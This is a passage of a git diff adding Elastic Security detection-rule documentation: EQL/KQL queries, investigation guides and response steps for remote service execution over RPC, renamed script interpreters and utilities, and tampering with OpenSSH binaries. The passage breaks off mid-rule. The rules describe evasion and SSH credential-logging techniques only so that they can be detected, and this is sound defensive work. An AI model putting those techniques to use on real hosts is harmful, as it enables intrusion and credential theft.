+* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: XSL Script Processing +** ID: T1220 +** Reference URL: https://attack.mitre.org/techniques/T1220/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Visual Basic +** ID: T1059.005 +** Reference URL: https://attack.mitre.org/techniques/T1059/005/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remotely-started-services-via-rpc.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remotely-started-services-via-rpc.asciidoc new file mode 100644 index 0000000000..95c7a30e38 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-remotely-started-services-via-rpc.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-remotely-started-services-via-rpc]] +=== Remotely Started Services via RPC + +Identifies remote execution of Windows services over remote procedure call (RPC). This could be indicative of lateral movement, but will be noisy if commonly done by administrators. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr/705b624a-13de-43cc-b8a2-99573da3635f +* https://www.elastic.co/security-labs/elastic-protects-against-data-wiper-malware-targeting-ukraine-hermeticwiper + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Remotely Started Services via RPC* + + +The Service Control Manager Remote Protocol is a client/server protocol used for configuring and controlling service programs running on a remote computer. A remote service management session begins with the client initiating the connection request to the server. If the server grants the request, the connection is established. The client can then make multiple requests to modify, query the configuration, or start and stop services on the server by using the same session until the session is terminated. + +This rule detects the remote creation or start of a service by correlating a `services.exe` network connection and the spawn of a child process. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Review login events (e.g., 4624) in the alert timeframe to identify the account used to perform this action. Use the `source.address` field to help identify the source system. +- Review network events from the source system using the source port identified on the alert and try to identify the program used to initiate the action. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- Remote management software like SCCM may trigger this rule. If noisy on your environment, consider adding exceptions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence with maxspan=1s + [network where host.os.type == "windows" and process.name : "services.exe" and + network.direction : ("incoming", "ingress") and network.transport == "tcp" and + source.port >= 49152 and destination.port >= 49152 and source.ip != "127.0.0.1" and source.ip != "::1" + ] by host.id, process.entity_id + [process where host.os.type == "windows" and + event.type == "start" and process.parent.name : "services.exe" and + not (process.executable : "?:\\Windows\\System32\\msiexec.exe" and process.args : "/V") and + not process.executable : ( + "?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe", + "?:\\Program Files (x86)\\*.exe", + "?:\\Program Files\\*.exe", + "?:\\Windows\\ADCR_Agent\\adcrsvc.exe", + "?:\\Windows\\AdminArsenal\\PDQ*.exe", + "?:\\Windows\\CAInvokerService.exe", + "?:\\Windows\\ccmsetup\\ccmsetup.exe", + "?:\\Windows\\eset-remote-install-service.exe", + "?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe", + "?:\\Windows\\PSEXESVC.EXE", + "?:\\Windows\\RemoteAuditService.exe", + "?:\\Windows\\servicing\\TrustedInstaller.exe", + "?:\\Windows\\System32\\certsrv.exe", + "?:\\Windows\\System32\\sppsvc.exe", + "?:\\Windows\\System32\\srmhost.exe", + "?:\\Windows\\System32\\svchost.exe", + "?:\\Windows\\System32\\taskhostex.exe", + "?:\\Windows\\System32\\upfc.exe", + "?:\\Windows\\System32\\vds.exe", + "?:\\Windows\\System32\\VSSVC.exe", + "?:\\Windows\\System32\\wbem\\WmiApSrv.exe", + "?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe", + "?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe", + "?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe", + "?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe" + )] by host.id, process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renamed-automation-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renamed-automation-script-interpreter.asciidoc new file mode 100644 index 0000000000..46e0c1299d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renamed-automation-script-interpreter.asciidoc @@ -0,0 +1,180 @@ +[[prebuilt-rule-8-19-34-renamed-automation-script-interpreter]] +=== Renamed Automation Script Interpreter + +Identifies renamed automation script interpreter processes, including AutoIt, AutoHotkey, and KIX32. Malware operators may rename these executables to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renamed Automation Script Interpreter* + + +*Possible investigation steps* + + +- Which interpreter family and masquerade path did the alert capture? + - Why: the PE original-name/runtime-name mismatch is decisive, and AutoIt, AutoHotkey, and KIX32 have different normal baselines. + - Focus: `process.pe.original_file_name`, `process.name`, `process.executable`, and `process.command_line`. + - Implication: escalate when AutoIt, AutoHotkey, or KIX32 identity is hidden by a misleading name, recent rename, or user-writable path, especially KIX32 under Users or ProgramData; lower suspicion when family, path, and command line fit one stable packaged automation or logon-script bundle. + - Hint: variants may strip PE original-name metadata or run under the expected interpreter name; if path or command line still points to AutoIt, AutoHotkey, or KIX content, keep reviewing lineage and artifacts. + +- Is the binary identity consistent with a recognized interpreter package or a repackaged copy? + - Focus: `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.executable`. + - Implication: escalate when signer, hash, or path is unknown, untrusted, or inconsistent with AutoIt, AutoHotkey, or KIX32 packaging; lower suspicion only when identity, path, parent, and command line fit one recognized package. Trusted identity does not clear suspicious use. + +- Does the launch context explain why the interpreter ran under this name? + - Focus: `process.parent.executable`, `process.parent.command_line`, `process.command_line`, `user.id`, and `host.id`. + - Implication: escalate when Office, browsers, archive tools, LOLBins, or unusual admin or service contexts launch it, or when arguments point to hidden A3X, AHK, KIX, or payload execution; lower suspicion when parent, user, host, and arguments match recurring deployment, logon-script, or packaging workflow. + +- Did the same process stage or touch script or payload artifacts? + - Focus: file events from `host.id` plus `process.entity_id`, and script or payload paths in `process.command_line`. !{investigate{"description":"","label":"File activity by the renamed interpreter","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process writes, extracts, renames, or runs scriptable or executable content from temp, downloads, user-profile, or share-backed paths, or with internet provenance; lower suspicion when artifacts stay inside one recognized package tree. Missing file telemetry is unresolved, not benign. + - Hint: if `process.entity_id` is absent, recover with `host.id`, `process.pid`, and the tight alert window. + +- Did the renamed interpreter produce follow-on execution, persistence, or egress? + - Focus: child process events from `process.entity_id`; same-process registry or network activity. !{investigate{"description":"","label":"Child process activity from the renamed interpreter","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"event.type","queryType":"phrase","value":"start","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Registry or network activity by the renamed interpreter","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when it spawns shells or script engines, writes autorun or service state, or contacts rare external destinations; lower suspicion when follow-on activity stays inside the same bounded automation task. Missing registry or network telemetry is unresolved, not benign. + - Hint: if `process.entity_id` is absent, recover with `host.id`, `process.pid`, and the tight alert window. + +- If local findings remain suspicious or unresolved, do related alerts show broader compromise? + - Focus: related alerts for `user.id`, especially masquerading, script-interpreter, persistence, or credential-access activity. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Hint: compare `host.id` alerts for the same interpreter path, renamed binaries, or adjacent defense-evasion activity. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when either view shows related masquerading, staging, persistence, or post-compromise behavior; keep local when related alerts are absent and all local evidence fits one stable automation workflow. + +- Escalate on PE/name mismatch plus suspicious lineage, staging, persistence, egress, or related alerts; close only when path, parent, user, host, artifacts, and activity bind to one stable benign workflow with no contradictions; preserve artifacts and escalate when evidence is mixed or visibility is incomplete. + + +*False positive analysis* + + +- Software packaging, endpoint automation, KIX logon-script deployment, or authorized testing can rename AutoIt, AutoHotkey, or KIX32 interpreters inside a stable bundle. Confirm `process.pe.original_file_name`, `process.hash.sha256` or `process.code_signature.subject_name`, `process.executable`, `process.parent.executable`, `process.command_line`, `user.id`, and `host.id` align with one workflow; recovered artifacts or destinations should stay bounded to it, and missing telemetry is not benign evidence. +- Before creating an exception, validate the workflow locally and check recurrence for stable anchors: `process.executable`, `process.hash.sha256` or `process.code_signature.subject_name`, `process.parent.executable`, `user.id`, and `host.id`. Build the minimum pattern and avoid exceptions on `process.pe.original_file_name`, `process.name`, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and document the exact workflow evidence: interpreter family, executable path, hash or signer, parent executable, user, host, and artifact scope. Create an exception only after that same pattern recurs across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the process event, executable copy or hash, parent and child lineage, referenced scripts or payloads, and any recovered registry or destination indicators before containment or cleanup. Apply reversible containment tied to the finding, such as temporary destination restrictions, heightened monitoring, or host isolation only when payload delivery, persistence, or egress risk is meaningful. +- If confirmed malicious, preserve the renamed interpreter `process.entity_id`, command line, executable hash or signer, child processes, and recovered artifacts first. Then isolate the affected host when identity, lineage, artifact, persistence, or egress evidence shows active compromise, weighing host criticality before isolation. +- Before eradication, scope related users and hosts for the same executable path, parent, script or payload paths, persistence keys, and destinations so cleanup does not destroy evidence needed to understand spread. +- Quarantine the renamed interpreter, associated scripts, and extracted support files identified during triage; remove only persistence or launcher artifacts confirmed in this case; block confirmed malicious hashes or destinations tied to the same activity. +- After containment, retain the confirmed workflow or malicious artifact set for future triage and avoid suppressing the broader AutoIt, AutoHotkey, or KIX32 interpreter families. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + (process.pe.original_file_name : "AutoIt*.exe" and not process.name : "AutoIt*.exe") or + (process.pe.original_file_name == "AutoHotkey.exe" and not process.name : ("AutoHotkey*.exe", "InternalAHK.exe")) or + (process.pe.original_file_name == "KIX32.EXE" and not process.name : "KIX*.exe" and process.executable : ("?:\\Users\\*.exe", "?:\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe")) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AutoHotKey & AutoIT +** ID: T1059.010 +** Reference URL: https://attack.mitre.org/techniques/T1059/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renamed-utility-executed-with-short-program-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renamed-utility-executed-with-short-program-name.asciidoc new file mode 100644 index 0000000000..7d879ae247 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renamed-utility-executed-with-short-program-name.asciidoc @@ -0,0 +1,163 @@ +[[prebuilt-rule-8-19-34-renamed-utility-executed-with-short-program-name]] +=== Renamed Utility Executed with Short Program Name + +Identifies the execution of a process with a single character process name, differing from the original file name. This is often done by adversaries while staging, executing temporary utilities, or trying to bypass security detections based on the process name. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 219 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renamed Utility Executed with Short Program Name* + + +Identifies the execution of a process with a single character process name, differing from the original file name. This is often done by adversaries while staging, executing temporary utilities, or trying to bypass security detections based on the process name. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, command line and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name regex~ """[a-z0-9]\.exe""" and process.pe.original_file_name != null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renaming-of-openssh-binaries.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renaming-of-openssh-binaries.asciidoc new file mode 100644 index 0000000000..705decfd02 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-renaming-of-openssh-binaries.asciidoc @@ -0,0 +1,247 @@ +[[prebuilt-rule-8-19-34-renaming-of-openssh-binaries]] +=== Renaming of OpenSSH Binaries + +Adversaries may modify SSH related binaries for persistence or credential access by patching sensitive functions to enable unauthorized access or by logging SSH credentials for exfiltration. + +*Rule type*: query + +*Rule indices*: + +* logs-endpoint.events.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://blog.angelalonso.es/2016/09/anatomy-of-real-linux-intrusion-part-ii.html + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 116 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Renaming of OpenSSH Binaries* + + +OpenSSH is a widely used suite of secure networking utilities based on the Secure Shell (SSH) protocol, which provides encrypted communication sessions over a computer network. + +Adversaries may exploit OpenSSH by modifying its binaries, such as `/usr/bin/scp`, `/usr/bin/sftp`, `/usr/bin/ssh`, `/usr/sbin/sshd`, or `libkeyutils.so`, to gain unauthorized access or exfiltrate SSH credentials. + +The detection rule 'Modification of OpenSSH Binaries' is designed to identify such abuse by monitoring file changes in the Linux environment. It triggers an alert when a process, modifies any of the specified OpenSSH binaries or libraries. This helps security analysts detect potential malicious activities and take appropriate action. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. + - Cron jobs, services and other persistence mechanisms. + - !{osquery{"label":"Osquery - Retrieve Crontab Information","query":"SELECT * FROM crontab"}} +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- Regular users should not need to modify OpenSSH binaries, which makes false positives unlikely. In the case of authorized benign true positives (B-TPs), exceptions can be added. +- If this activity is related to 